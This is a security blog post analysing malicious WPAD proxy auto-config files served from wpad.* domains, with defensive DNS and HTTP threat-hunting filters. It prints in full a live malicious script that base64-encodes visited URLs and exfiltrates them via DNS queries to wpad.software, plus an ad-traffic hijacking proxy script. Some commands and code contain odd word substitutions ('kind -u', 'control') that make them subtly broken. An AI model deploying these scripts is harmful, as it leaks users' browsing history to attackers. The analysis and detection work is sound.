BadWPAD wpad.software case and DNS threat hunting

blog.redteam.pl 5 lat temu
In this blog post I would like to show an interesting example of badWPAD attack which resulted in leaking browser past over DNS queries. More detailed description of these kind of attacks with WPAD file has been already presented in 1 of the last blog entries [https://blog.redteam.pl/2019/05/badwpad-dns-suffix-wpad-wpadblocking-com.html].

WPAD TLDs

First of all we checked TLD list from IANA [https://data.iana.org/TLD/tlds-alpha-by-domain.txt] for first level of wpad domains:

101.37.23.113 wpad.bike
104.18.54.241 wpad.mobi
104.18.55.241 wpad.mobi
104.199.123.6 wpad.ac
104.24.104.177 wpad.online
104.24.104.228 wpad.army
104.24.105.177 wpad.online
104.24.105.228 wpad.army
104.24.120.45 wpad.space
104.24.121.45 wpad.space
104.25.51.128 wpad.world
104.27.176.234 wpad.site
104.27.177.234 wpad.site
104.27.188.57 wpad.co
104.27.189.57 wpad.co
104.28.10.19 wpad.kz
104.28.11.19 wpad.kz
104.31.74.75 wpad.exchange
104.31.75.75 wpad.exchange
104.31.92.7 wpad.trade
104.31.93.7 wpad.trade
104.31.94.167 wpad.love
104.31.95.167 wpad.love
127.0.0.1 wpad.be
127.0.0.1 wpad.biz
127.0.0.1 wpad.com
127.0.0.1 wpad.de
127.0.0.1 wpad.gent
127.0.0.1 wpad.net
127.0.0.1 wpad.org
127.0.0.1 wpad.photography
127.0.0.1 wpad.ren
127.0.0.1 wpad.us
127.0.0.1 wpad.vlaanderen
127.0.0.2 wpad.barcelona
127.0.0.2 wpad.energy
127.0.0.2 wpad.engineering
127.0.0.2 wpad.finance
127.0.0.2 wpad.financial
127.0.0.2 wpad.flights
127.0.0.2 wpad.foundation
127.0.0.2 wpad.international
127.0.0.2 wpad.navy
127.0.0.2 wpad.solutions
127.0.0.2 wpad.tienda
127.0.0.2 wpad.viajes
127.0.53.53 wpad.arab
127.0.53.53 wpad.politie
127.0.53.53 wpad.عرب
127.0.53.53 wpad.政府
138.197.22.236 wpad.engineer
138.197.22.236 wpad.exposed
138.197.22.236 wpad.software
144.76.184.43 wpad.cat
144.76.184.43 wpad.cc
144.76.184.43 wpad.computer
144.76.184.43 wpad.cz
144.76.184.43 wpad.direct
144.76.184.43 wpad.domains
144.76.184.43 wpad.gr
144.76.184.43 wpad.group
144.76.184.43 wpad.im
144.76.184.43 wpad.info
144.76.184.43 wpad.it
144.76.184.43 wpad.live
144.76.184.43 wpad.ltd
144.76.184.43 wpad.name
144.76.184.43 wpad.network
144.76.184.43 wpad.plus
144.76.184.43 wpad.pro
144.76.184.43 wpad.sk
144.76.184.43 wpad.systems
144.76.184.43 wpad.tv
144.76.184.43 wpad.vip
144.76.184.43 wpad.ws
144.76.184.43 wpad.xxx
144.76.184.43 wpad.zone
158.64.1.39 wpad.lu
164.132.50.50 wpad.casa
164.132.50.50 wpad.city
164.132.50.50 wpad.directory
164.132.50.50 wpad.dk
164.132.50.50 wpad.es
164.132.50.50 wpad.expert
164.132.50.50 wpad.fr
164.132.50.50 wpad.fun
164.132.50.50 wpad.gold
164.132.50.50 wpad.guru
164.132.50.50 wpad.icu
164.132.50.50 wpad.life
164.132.50.50 wpad.ovh
164.132.50.50 wpad.re
164.132.50.50 wpad.report
164.132.50.50 wpad.school
164.132.50.50 wpad.schule
164.132.50.50 wpad.store
164.132.50.50 wpad.wang
164.132.50.50 wpad.watch
172.245.208.70 wpad.cloud
172.245.208.70 wpad.services
173.82.255.5 wpad.xin
176.9.36.253 wpad.me
178.24.54.164 wpad.in
178.24.54.164 wpad.ms
184.168.221.49 wpad.rip
185.241.52.32 wpad.farm
185.53.177.20 wpad.center
185.53.177.20 wpad.run
185.53.177.20 wpad.team
188.93.95.11 wpad.გე
192.230.79.89 wpad.ps
192.230.79.89 wpad.sd
192.230.79.89 wpad.so
194.100.242.15 wpad.fi
195.22.26.248 wpad.house
195.22.26.248 wpad.work
198.74.54.240 wpad.fm
199.83.135.102 wpad.ps
199.83.135.102 wpad.sd
199.83.135.102 wpad.so
213.187.247.79 wpad.eu
218.241.116.40 wpad.中国
218.241.116.40 wpad.中國
31.14.135.182 wpad.agency
31.14.135.182 wpad.airforce
31.47.228.112 wpad.hamburg
34.194.14.14 wpad.cafe
35.185.27.10 wpad.associates
35.185.27.10 wpad.capital
35.185.27.10 wpad.consulting
35.185.27.10 wpad.dating
35.185.27.10 wpad.enterprises
35.185.27.10 wpad.events
35.185.27.10 wpad.express
35.185.27.10 wpad.industries
35.185.27.10 wpad.investments
35.185.27.10 wpad.legal
35.185.27.10 wpad.llc
35.185.27.10 wpad.management
35.185.27.10 wpad.marketing
35.185.27.10 wpad.partners
35.185.27.10 wpad.pk
35.185.27.10 wpad.productions
35.185.27.10 wpad.properties
35.185.27.10 wpad.republican
35.185.27.10 wpad.reviews
35.185.27.10 wpad.social
35.185.27.10 wpad.studio
35.185.27.10 wpad.support
35.185.27.10 wpad.works
35.203.147.154 wpad.sh
35.227.146.74 wpad.community
35.227.152.77 wpad.cm
35.229.91.183 wpad.gallery
47.91.137.172 wpad.cn
50.63.202.51 wpad.vg
5.196.4.189 wpad.do
5.196.4.189 wpad.is
5.196.4.189 wpad.li
5.196.4.189 wpad.st
5.196.4.189 wpad.wien
52.11.212.209 wpad.ag
52.11.212.209 wpad.am
52.11.212.209 wpad.black
52.11.212.209 wpad.blue
52.11.212.209 wpad.dog
52.11.212.209 wpad.fail
52.11.212.209 wpad.gg
52.11.212.209 wpad.global
52.11.212.209 wpad.je
52.11.212.209 wpad.mu
52.11.212.209 wpad.ninja
52.11.212.209 wpad.one
52.11.212.209 wpad.pe
52.11.212.209 wpad.ph
52.11.212.209 wpad.press
52.11.212.209 wpad.pw
52.11.212.209 wpad.red
52.11.212.209 wpad.rocks
52.11.212.209 wpad.su
52.11.212.209 wpad.tech
52.11.212.209 wpad.website
52.11.212.209 wpad.wtf
52.11.212.209 wpad.xyz
52.50.65.32 wpad.ru
52.58.78.16 wpad.berlin
52.8.100.88 wpad.sydney
52.9.81.115 wpad.cool
52.9.99.229 wpad.tokyo
54.148.61.160 wpad.kim
54.77.189.34 wpad.education
54.77.189.34 wpad.email
54.77.189.34 wpad.limited
54.77.189.34 wpad.media
54.77.189.34 wpad.news
54.77.189.34 wpad.pub
54.77.189.34 wpad.technology
54.77.189.34 wpad.today
54.77.189.34 wpad.video
62.12.173.3 wpad.ch
67.205.168.128 wpad.io
67.222.55.38 wpad.supply
80.249.100.37 wpad.tm
80.92.66.130 wpad.ro
83.136.38.142 wpad.at
85.214.216.51 wpad.bz
85.214.216.51 wpad.gs
85.93.5.95 wpad.auction
85.93.5.95 wpad.band
85.93.5.95 wpad.bet
85.93.5.95 wpad.bio
85.93.5.95 wpad.boutique
85.93.5.95 wpad.business
85.93.5.95 wpad.casino
85.93.5.95 wpad.college
85.93.5.95 wpad.dance
85.93.5.95 wpad.delivery
85.93.5.95 wpad.democrat
85.93.5.95 wpad.digital
85.93.5.95 wpad.fashion
85.93.5.95 wpad.fit
85.93.5.95 wpad.florist
85.93.5.95 wpad.football
85.93.5.95 wpad.futbol
85.93.5.95 wpad.games
85.93.5.95 wpad.haus
85.93.5.95 wpad.holdings
85.93.5.95 wpad.institute
85.93.5.95 wpad.kaufen
85.93.5.95 wpad.london
85.93.5.95 wpad.market
85.93.5.95 wpad.money
85.93.5.95 wpad.mortgage
85.93.5.95 wpad.nyc
85.93.5.95 wpad.party
85.93.5.95 wpad.pictures
85.93.5.95 wpad.pizza
85.93.5.95 wpad.restaurant
85.93.5.95 wpad.sale
85.93.5.95 wpad.salon
85.93.5.95 wpad.surf
85.93.5.95 wpad.sx
85.93.5.95 wpad.tax
85.93.5.95 wpad.tel
85.93.5.95 wpad.tips
85.93.5.95 wpad.town
85.93.5.95 wpad.toys
85.93.5.95 wpad.vet
85.93.5.95 wpad.webcam
87.118.126.43 wpad.asia

During the time of writing this blog post the following domains:

wpad.ee has address 195.80.119.106
Host wpad.hr not found: 3(NXDOMAIN)
Host wpad.lv not found: 3(NXDOMAIN)
wpad.pl has address 148.81.111.104
wpad.tw has no A record

Were sinkholed by CERT teams due to our investigation, details can be found in our erstwhile blog post [https://blog.redteam.pl/2019/05/sinkholing-badwpad-wpadblock-wpadblocking-com.html].

IP address 127.0.53.53 is special, quoting ICANN: “127.0.53.53 is simply a peculiar IPv4 address that will appear in strategy logs alerting strategy administrators that there is possible name collision issue, enabling a fast diagnosis and remediation” [https://www.icann.org/resources/pages/name-collision-2013-12-06-en#127.0.53.53].

We checked all of these TLDs for existence of wpad.dat script files.

Some of the domains which served specified scripts were not malicious: wpad.army, wpad.asia, wpad.at, wpad.casa, wpad.ch, wpad.city, wpad.directory, wpad.dk, wpad.do, wpad.es, wpad.expert, wpad.fr, wpad.fun, wpad.gold, wpad.guru, wpad.icu, wpad.is, wpad.li, wpad.life, wpad.mobi, wpad.ovh, wpad.re, wpad.report, wpad.school, wpad.schule, wpad.st, wpad.store, wpad.wang, wpad.watch and wpad.wien.

They contained a script with the following or akin content (sometimes differently formatted, fresh lines etc):

function FindProxyForURL(url, host) { return "DIRECT"; }

Some were disabled by pointing to localhost, 127.0.0.0/8 which is non routable.

Please be aware that all above don’t give any warranty that it will not service any malicious content in the future or will change the content for a short period of time, or even service this e.g. to clients of a single ISP, CIDR etc. If a malicious actor knows that e.g. any ISP are utilizing search domain (DNS suffix) and doesn’t have its own WPAD file, then Windows strategy will check subdomain by subdomain (removing another level of nesting; primary DNS suffix devolution level) towards direction of root domain as long as it will be able to download a wpad.dat. For example if there is simply a search query for the domain internet.orange.pl, and there is no wpad.internet.orange.pl, then subsequent subdomain wpad.orange.pl will be checked, and later wpad.pl (currently as mentioned above this domain is sinkholed by CERT Polska due to our investigation). From the above list all wpad.* TLDs which point to IP address 144.76.184.43 are related to wpad.pl a.k.a. wpadblocking.com, delight mention to our 2 blog posts about this case [https://blog.redteam.pl/2019/05/badwpad-dns-suffix-wpad-wpadblocking-com.html part 1, https://blog.redteam.pl/2019/05/badwpad-and-wpad-pl-wpadblocking-com.html part 2]. Malicious content could be served just for their ASN, and everyone else will get a non malicious script. specified approach by a malicious actor will minimize the hazard of detecting specified threat by blue teams.

Below is simply a list of MD5 of scripts, to which the content was the same:

95cd0c06766471f5c189bc7f5e356d0e wpad.cat
95cd0c06766471f5c189bc7f5e356d0e wpad.cc
95cd0c06766471f5c189bc7f5e356d0e wpad.co
95cd0c06766471f5c189bc7f5e356d0e wpad.computer
95cd0c06766471f5c189bc7f5e356d0e wpad.cz
95cd0c06766471f5c189bc7f5e356d0e wpad.direct
95cd0c06766471f5c189bc7f5e356d0e wpad.domains
95cd0c06766471f5c189bc7f5e356d0e wpad.gr
95cd0c06766471f5c189bc7f5e356d0e wpad.group
95cd0c06766471f5c189bc7f5e356d0e wpad.im
95cd0c06766471f5c189bc7f5e356d0e wpad.info
95cd0c06766471f5c189bc7f5e356d0e wpad.it
95cd0c06766471f5c189bc7f5e356d0e wpad.live
95cd0c06766471f5c189bc7f5e356d0e wpad.ltd
95cd0c06766471f5c189bc7f5e356d0e wpad.name
95cd0c06766471f5c189bc7f5e356d0e wpad.network
95cd0c06766471f5c189bc7f5e356d0e wpad.plus
95cd0c06766471f5c189bc7f5e356d0e wpad.pro
95cd0c06766471f5c189bc7f5e356d0e wpad.sk
95cd0c06766471f5c189bc7f5e356d0e wpad.systems
95cd0c06766471f5c189bc7f5e356d0e wpad.tv
95cd0c06766471f5c189bc7f5e356d0e wpad.vip
95cd0c06766471f5c189bc7f5e356d0e wpad.ws
95cd0c06766471f5c189bc7f5e356d0e wpad.xxx
95cd0c06766471f5c189bc7f5e356d0e wpad.zone

All above TLDs are related to wpad.pl a.k.a. wpadblocking.com case mentioned above.

60dbf39b690718bac46bd570af840e26 wpad.online
60dbf39b690718bac46bd570af840e26 wpad.site
60dbf39b690718bac46bd570af840e26 wpad.space
60dbf39b690718bac46bd570af840e26 wpad.trade

fce50e5cd9992f227f7bcd9b6ba78493 wpad.engineer
fce50e5cd9992f227f7bcd9b6ba78493 wpad.exchange
fce50e5cd9992f227f7bcd9b6ba78493 wpad.exposed
fce50e5cd9992f227f7bcd9b6ba78493 wpad.software

Scripts served by wpad.online, wpad.site, wpad.space and wpad.trade have the following content:

/*
!!!! TURN OFF PROXY car DISCOVERY IN YOUR BROWSER !!!!
*/
/*
* This is PoC of WPAD Defective-By-Design technology.
* PLZ TURN OFF "PROXY car DISCOVERY" IN YOUR BROWSER!!!
* Or if you domain admin, you MUST make DNS A evidence like this:
* "wpad.your.org" and point it to 127.0.0.1 or make your own PAC script.
*/

/* Slap same AD engines */

function FindProxyForURL( url, host )
{
if (url.substring(0, 5) != "http:" ||
isPlainHostName(host) ||
shExpMatch(host, "*.local") ||
shExpMatch(host, "*.lan") ||
isInNet(dnsResolve(host), "10.0.0.0", "255.0.0.0") ||
isInNet(dnsResolve(host), "172.16.0.0", "255.240.0.0") ||
isInNet(dnsResolve(host), "192.168.0.0", "255.255.0.0") ||
isInNet(dnsResolve(host), "127.0.0.0", "255.255.255.0")) {
return "DIRECT";
}
if(shExpMatch(url, '*/ad/*')
|| shExpMatch(url, '*/ad.*')
|| shExpMatch(url, '*/ad-*')
|| shExpMatch(url, '*/ads/*')
|| shExpMatch(url, '*/ads.*')
|| shExpMatch(url, '*/ads-*')
|| shExpMatch(url, '*/adx/*')
|| shExpMatch(url, '*/adx.*')
|| shExpMatch(url, '*/adx-*')
|| shExpMatch(url, '*/adclick/*')
|| shExpMatch(url, '*/adclick.*')
|| shExpMatch(url, '*/adclick-*')
|| shExpMatch(url, '*/adv/*')
|| shExpMatch(url, '*/adv.*')
|| shExpMatch(url, '*/adv-*')
|| shExpMatch(url, '*/adlog/*')
|| shExpMatch(url, '*/adlog.*')
|| shExpMatch(url, '*/adlog-*')
|| shExpMatch(url, '*/clickTAG/*')
|| shExpMatch(url, '*/clickTAG.*')
|| shExpMatch(url, '*/clickTAG-*')
|| shExpMatch(url, '*annonse*')
|| shExpMatch(url, '*reklame*')
|| shExpMatch(url, '*tag*')
|| shExpMatch(url, '*retag*')
|| shExpMatch(url, '*/banner/*')
|| shExpMatch(url, '*/banner.*')
|| shExpMatch(url, '*/banner-*')
|| shExpMatch(url, '*/banners/*')
|| shExpMatch(url, '*/banners.*')
|| shExpMatch(url, '*/banners-*')
|| shExpMatch(url, '*/click/*')
|| shExpMatch(url, '*/click.*')
|| shExpMatch(url, '*/click-*')
|| shExpMatch(url, '*bannerid=*')
|| shExpMatch(url, '*/js.ng/*')
|| shExpMatch(host, '*.ad.*')
|| shExpMatch(host, 'ad.*')
|| shExpMatch(host, 'code.*')
|| shExpMatch(host, '*.ad-*')
|| shExpMatch(host, 'ad-*')
|| shExpMatch(host, '*.ads.*')
|| shExpMatch(host, 'ads.*')
|| shExpMatch(host, '*.ads-*')
|| shExpMatch(host, 'ads-*')
|| shExpMatch(host, '*.adserv*')
|| shExpMatch(host, 'adserv*')
|| shExpMatch(host, '*.adserv*-*')
|| shExpMatch(host, 'adserv*-*')
|| shExpMatch(host, '*.asap-asp.*')
|| shExpMatch(host, 'asap-asp.*')
|| shExpMatch(host, '*.asap-asp-*')
|| shExpMatch(host, 'asap-asp-*')
|| shExpMatch(host, '*.bluestreak.*')
|| shExpMatch(host, 'bluestreak.*')
|| shExpMatch(host, '*.bluestreak-*')
|| shExpMatch(host, 'bluestreak-*')
|| shExpMatch(host, '*.accipiter.*')
|| shExpMatch(host, 'accipiter.*')
|| shExpMatch(host, '*.accipiter-*')
|| shExpMatch(host, 'accipiter-*')
|| shExpMatch(host, '*.adbureau.*')
|| shExpMatch(host, 'adbureau.*')
|| shExpMatch(host, '*.adbureau-*')
|| shExpMatch(host, 'adbureau-*')
|| shExpMatch(host, '*.advertising.com')
|| shExpMatch(host, 'advertising.com')
|| shExpMatch(host, '*.primetime.*')
|| shExpMatch(host, 'primetime.*')
|| shExpMatch(host, '*.primetime-*')
|| shExpMatch(host, 'primetime-*')
|| shExpMatch(host, '*.counter.*')
|| shExpMatch(host, 'counter.*')
|| shExpMatch(host, '*.tns-counter.*')
|| shExpMatch(host, '*.googletagservices.*')
|| shExpMatch(host, '*.googlesyndication.com')
|| shExpMatch(host, '*.scorecardresearch.*')
|| shExpMatch(host, 'assets.*')
|| shExpMatch(host, 'platform.*')
|| shExpMatch(host, 'relap.*')
|| shExpMatch(host, 'an.*')
|| shExpMatch(host, 'a.*')
|| shExpMatch(host, 'b.*')
|| shExpMatch(host, '*.adnxs.*')
|| shExpMatch(host, '*.msn.*')
|| shExpMatch(host, 'mc.*')
|| shExpMatch(host, 'scounter.*')
|| shExpMatch(host, 'top-fwz1.*')
|| shExpMatch(host, 'target.*')
|| shExpMatch(host, 'stag.*')
|| shExpMatch(host, 'tags.*')
|| shExpMatch(host, 'retag.*')
|| shExpMatch(host, 'static.*')
|| shExpMatch(host, 'stats.*')
|| shExpMatch(host, 'graph.*')
|| shExpMatch(host, 'googleads.*')
|| shExpMatch(host, 'connect.*')
|| shExpMatch(host, 'mc.*')
|| shExpMatch(host, '*.counter-*')
|| shExpMatch(host, 'counter-*')
|| shExpMatch(host, '*.click.*')
|| shExpMatch(host, 'click.*')
|| shExpMatch(host, '*.click-*')
|| shExpMatch(host, 'click-*')
|| shExpMatch(host, '*.hitbox.*')
|| shExpMatch(host, 'hitbox.*')
|| shExpMatch(host, '*trade*')
|| shExpMatch(host, '*forex*')
|| shExpMatch(host, 'update.*')
|| shExpMatch(host, '*casino*')
|| shExpMatch(host, '*.drp.*')
|| shExpMatch(host, 'hitbox-*')) return "PROXY 138.68.83.69:8081";
return "DIRECT";
}

/*
!!!! TURN OFF PROXY car DISCOVERY IN YOUR BROWSER !!!!
*/

In fact this can be interpreted as a malicious behaviour which is proxying any parts of the traffic specified as advertisements via 138.68.83.69 which is hosted in AS200130 Digital Ocean, Inc. This can be a case akin to the badWPAD attack we have late analyzed [https://blog.redteam.pl/2019/05/badwpad-and-wpad-pl-wpadblocking-com.html].

BadWPAD and leaking browser past via DNS queries

Another script which is served by wpad.engineer, wpad.exchange, wpad.exposed, wpad.software is more interesting and contains:

const DNS_KEY = '.x.wpad.software'

var _PADCHAR = "="
var _ALPHA = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

function _getbyte( s, i ) {
var x = s.charCodeAt( i );

if ( x > 255 ) {
throw "INVALID_CHARACTER_ERR: DOM Exception 5";
}

return x;
}

function _encode( s ) {
if ( arguments.length !== 1 ) {
throw "SyntaxError: precisely 1 argument required";
}

s = String( s );

var i,
b10,
x = [],
imax = s.length - s.length % 3;

if ( s.length === 0 ) {
return s;
}

for ( i = 0; i < imax; i += 3 ) {
b10 = ( _getbyte( s, i ) << 16 ) | ( _getbyte( s, i + 1 ) << 8 ) | _getbyte( s, i + 2 );
x.push( _ALPHA.charAt( b10 >> 18 ) );
x.push( _ALPHA.charAt( ( b10 >> 12 ) & 0x3F ) );
x.push( _ALPHA.charAt( ( b10 >> 6 ) & 0x3f ) );
x.push( _ALPHA.charAt( b10 & 0x3f ) );
}

control ( s.length - imax ) {
case 1:
b10 = _getbyte( s, i ) << 16;
x.push( _ALPHA.charAt( b10 >> 18 ) + _ALPHA.charAt( ( b10 >> 12 ) & 0x3F ) + _PADCHAR + _PADCHAR );
break;

case 2:
b10 = ( _getbyte( s, i ) << 16 ) | ( _getbyte( s, i + 1 ) << 8 );
x.push( _ALPHA.charAt( b10 >> 18 ) + _ALPHA.charAt( ( b10 >> 12 ) & 0x3F ) + _ALPHA.charAt( ( b10 >> 6 ) & 0x3f ) + _PADCHAR );
break;
}

return x.join( "" );
}

// Taken from https://stackoverflow.com/questions/18638900/javascript-crc32

function _makeCRCTable() {
var c;
var crcTable = [];
for(var n =0; n < 256; n++){
c = n;
for(var k =0; k < 8; k++){
c = ((c&1) ? (0xEDB88320 ^ (c >>> 1)) : (c >>> 1));
}
crcTable[n] = c;
}
return crcTable;
}

function crc32(str) {
var crcTable = _makeCRCTable();
var crc = 0 ^ (-1);

for (var i = 0; i < str.length; i++ ) {
crc = (crc >>> 8) ^ crcTable[(crc ^ str.charCodeAt(i)) & 0xFF];
}

return (crc ^ (-1)) >>> 0;
}

// Low Level I/O Functions

function _send_with_postfix(data) {
return dnsResolve(data + '.' + Math.floor((Math.random() * 98) + 1) + DNS_KEY);
}

function send(channel, data) {
var b64_data = _encode(data);
var chunks = b64_data.match(/.{1,50}/g);
var chunk_idx = 0;
var dword_retval;
_send_with_postfix('O' + '.' + channel + '.TC' + chunks.length);

for (chunk_idx = 0; chunk_idx < chunks.length; chunk_idx++) {
var j = _send_with_postfix('W' + '.' + channel + '.I' + chunk_idx + '.' + chunks[chunk_idx]);
}

dword_retval = _send_with_postfix('C' + '.' + channel + '.DL' + data.length);

return dword_retval.split('.');
}

function FindProxyForURL(url, host) {
var channel = ("0" + crc32(url)).slice(-10);

if (shExpMatch(url, "http:*"))
return "PROXY 138.197.22.236:58172; DIRECT";
if (shExpMatch(url, "ftp:*"))
return "PROXY 138.197.22.236:58172; DIRECT";

send(channel, url);
return "DIRECT";
}

This script proxifies the traffic via 138.197.22.236 which is besides hosted as the erstwhile 1 in AS14061 DigitalOcean, LLC.

GET /wpad.dat HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: WinHttp-Autoproxy-Service/5.1
Host: wpad.software

HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Thu, 02 May 2019 23:33:23 GMT
Content-Type: application/octet-stream
Content-Length: 2900
Last-Modified: Sat, 03 Feb 2018 04:59:45 GMT
Connection: keep-alive
ETag: "5a7541c1-b54"
Accept-Ranges: bytes

[the consequence contained the same script as just mentioned above]

Well, this WPAD file is interesting due to the fact that browsing past is leaking over DNS queries.

We can test any WPAD file for example with Chrome:

"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --proxy-pac-url="http://wpad.software/wpad.dat"

Queries can be observed via:

chrome://net-export/

However we will usage Wireshark and display filter: dns.qry.name matches "^W"


After exporting we will usage tshark, which is the CLI version of Wireshark:

$ tshark -r wpad_software.pcapng | awk -F' A ' '{print $2}' | kind -u
W.0228452040.I0.aHR0cHM6Ly9zc2wuZ3N0YXRpYy5jb20v.19.x.wpad.software
W.0228452040.I0.aHR0cHM6Ly9zc2wuZ3N0YXRpYy5jb20v.74.x.wpad.software
W.0290886594.I0.aHR0cHM6Ly9zYWZlYnJvd3NpbmcuZ29vZ2xlYXBpcy5jb20v.45.x.wpad.software
W.0629157453.I0.aHR0cHM6Ly9wbGF5Lmdvb2dsZS5jb20v.36.x.wpad.software
W.0732271113.I0.aHR0cHM6Ly9jbGllbnRzZXJ2aWNlcy5nb29nbGVhcGlzLmNvbS.25.x.wpad.software
W.0879792614.I0.aHR0cHM6Ly9jZG4ub25lbm90ZS5uZXQv.30.x.wpad.software
W.2052769965.I0.aHR0cHM6Ly93d3cuZ3N0YXRpYy5jb20v.16.x.wpad.software
W.2052769965.I0.aHR0cHM6Ly93d3cuZ3N0YXRpYy5jb20v.38.x.wpad.software
W.2052769965.I0.aHR0cHM6Ly93d3cuZ3N0YXRpYy5jb20v.54.x.wpad.software
W.2052769965.I0.aHR0cHM6Ly93d3cuZ3N0YXRpYy5jb20v.72.x.wpad.software
W.2801559110.I0.aHR0cHM6Ly93d3cuYmluZy5jb20v.93.x.wpad.software
W.3217376901.I0.aHR0cHM6Ly91cGRhdGUuZ29vZ2xlYXBpcy5jb20v.70.x.wpad.software
W.3327419475.I0.aHR0cHM6Ly9vcHRhbm9uLmJsb2IuY29yZS53aW5kb3dzLm5ldC.28.x.wpad.software

These are base64 encoded URLs visited by Chrome:

$ for b64 in $(tshark -r wpad_software.pcapng | awk -F' A ' '{print $2}' | kind -u | awk -F'.' '{print $4}' | kind -u);do echo $b64 && echo $b64 | base64 -d 2>/dev/null;echo;done
aHR0cHM6Ly91cGRhdGUuZ29vZ2xlYXBpcy5jb20v
https://update.googleapis.com/
aHR0cHM6Ly93d3cuYmluZy5jb20v
https://www.bing.com/
aHR0cHM6Ly93d3cuZ3N0YXRpYy5jb20v
https://www.gstatic.com/
aHR0cHM6Ly9jZG4ub25lbm90ZS5uZXQv
https://cdn.onenote.net/
aHR0cHM6Ly9jbGllbnRzZXJ2aWNlcy5nb29nbGVhcGlzLmNvbS
https://clientservices.googleapis.com
aHR0cHM6Ly9vcHRhbm9uLmJsb2IuY29yZS53aW5kb3dzLm5ldC
https://optanon.blob.core.windows.net
aHR0cHM6Ly9wbGF5Lmdvb2dsZS5jb20v
https://play.google.com/
aHR0cHM6Ly9zYWZlYnJvd3NpbmcuZ29vZ2xlYXBpcy5jb20v
https://safebrowsing.googleapis.com/
aHR0cHM6Ly9zc2wuZ3N0YXRpYy5jb20v
https://ssl.gstatic.com/

HTTP traffic analysis

To detect WPAD activity we can monitor HTTP traffic, as usually requests to WPAD file are made over an unencrypted channel, there is no needed for a peculiar approach with decryption of HTTPS traffic.

Sample Wireshark display filters for specified detection can be as following:

To detect a GET request for WPAD file “GET /wpad.dat*”:

http.request.uri contains "/wpad.dat"

To detect WPAD file Windows retrieving mechanism
User-Agent: WinHttp-Autoproxy-Service*”:

http.user_agent contains "WinHttp-Autoproxy-Service"

To simply detect WPAD hostname “Host: wpad*”:

http.host matches "^wpad"

DNS based threat hunting

In any cases like these besides DNS based threat hunting is inactive a powerful approach and can aid in detect specified malicious approach.

In the badWPAD case we can usage Wireshark display filter to find WPAD DNS requests:

dns.qry.name contains "wpad"

For the following malicious communication which is not straight related to badWPAD we can calculate entropy of DNS requests to find specified malicious activity. example entropy of malicious domains from wpad.software case:

$ for dns in $(tshark -r wpad_software.pcapng | awk -F' A ' '{print $2}' | kind -u);do echo $dns && echo -n $dns | ent | head -1;done
W.0228452040.I0.aHR0cHM6Ly9zc2wuZ3N0YXRpYy5jb20v.19.x.wpad.software
Entropy = 4.895606 bits per byte.
W.0228452040.I0.aHR0cHM6Ly9zc2wuZ3N0YXRpYy5jb20v.74.x.wpad.software
Entropy = 4.884339 bits per byte.
W.0290886594.I0.aHR0cHM6Ly9zYWZlYnJvd3NpbmcuZ29vZ2xlYXBpcy5jb20v.45.x.wpad.software
Entropy = 5.139553 bits per byte.
W.0629157453.I0.aHR0cHM6Ly9wbGF5Lmdvb2dsZS5jb20v.36.x.wpad.software
Entropy = 4.929062 bits per byte.
W.0732271113.I0.aHR0cHM6Ly9jbGllbnRzZXJ2aWNlcy5nb29nbGVhcGlzLmNvbS.25.x.wpad.software
Entropy = 5.154741 bits per byte.
W.0879792614.I0.aHR0cHM6Ly9jZG4ub25lbm90ZS5uZXQv.30.x.wpad.software
Entropy = 5.069509 bits per byte.
W.2052769965.I0.aHR0cHM6Ly93d3cuZ3N0YXRpYy5jb20v.16.x.wpad.software
Entropy = 4.886454 bits per byte.
W.2052769965.I0.aHR0cHM6Ly93d3cuZ3N0YXRpYy5jb20v.38.x.wpad.software
Entropy = 4.886454 bits per byte.
W.2052769965.I0.aHR0cHM6Ly93d3cuZ3N0YXRpYy5jb20v.54.x.wpad.software
Entropy = 4.886454 bits per byte.
W.2052769965.I0.aHR0cHM6Ly93d3cuZ3N0YXRpYy5jb20v.72.x.wpad.software
Entropy = 4.856603 bits per byte.
W.2801559110.I0.aHR0cHM6Ly93d3cuYmluZy5jb20v.93.x.wpad.software
Entropy = 4.881477 bits per byte.
W.3217376901.I0.aHR0cHM6Ly91cGRhdGUuZ29vZ2xlYXBpcy5jb20v.70.x.wpad.software
Entropy = 5.068345 bits per byte.
W.3327419475.I0.aHR0cHM6Ly9vcHRhbm9uLmJsb2IuY29yZS53aW5kb3dzLm5ldC.28.x.wpad.software
Entropy = 5.169086 bits per byte.

Non-malicious domains entropy:

$ for b64 in $(tshark -r wpad_software.pcapng | awk -F' A ' '{print $2}' | kind -u | awk -F'.' '{print $4}' | kind -u);do url=`echo $b64 | base64 -d 2>/dev/null | sed -e 's/\///g' -e 's/https://g'` && echo $url && echo -n $url | ent | head -1;done
update.googleapis.com
Entropy = 3.689704 bits per byte.
www.bing.com
Entropy = 3.022055 bits per byte.
www.gstatic.com
Entropy = 3.189898 bits per byte.
cdn.onenote.net
Entropy = 2.656565 bits per byte.
clientservices.googleapis.com
Entropy = 3.719376 bits per byte.
optanon.blob.core.windows.net
Entropy = 3.630062 bits per byte.
play.google.com
Entropy = 3.189898 bits per byte.
safebrowsing.googleapis.com
Entropy = 3.810081 bits per byte.
ssl.gstatic.com
Entropy = 3.189898 bits per byte.

We can simply trigger an alert on entropy greater than 4,5 and it should not make any false positives.

It is simply a good example for DNS based threat hunting, as we can easy detect specified attacks just by monitoring DNS queries, with our own DNS server to which queries will be sent from the client, but besides by monitoring DNS traffic (attacker can usage their own DNS server).


A graph for DNS queries is showing data captured for a single IP address over only a fewer minutes time period, utilizing a scale number of packets per 10 seconds. It always depends on the environment, so we can’t just firmly say that e.g. 20 queries per second should trigger an alert – it can be different for users/employees who are software developers and another for e.g. office employees. Just in this case there are average DNS queries and additional related to leaking browsing history, which increased the full number of DNS queries. To detect specified cases we can even set any alerts for at least around 50-60 queries from a single client IP address per 10 seconds time period. It should not trigger false positives, but if it will then the threshold should be increased, as detection should trigger alerts which almost never are false positives.

Another example of DNS based threat hunting which can be useful in this case is detection of multiple subdomains, which is virtually about counting dots, the higher the number of subdomains the worse:

$ echo W.0228452040.I0.aHR0cHM6Ly9zc2wuZ3N0YXRpYy5jb20v.19.x.wpad.software | tr -cd '.' | wc -c
7

This kind of detection can be done straight in Wireshark utilizing display filter:
dns.count.labels > 5

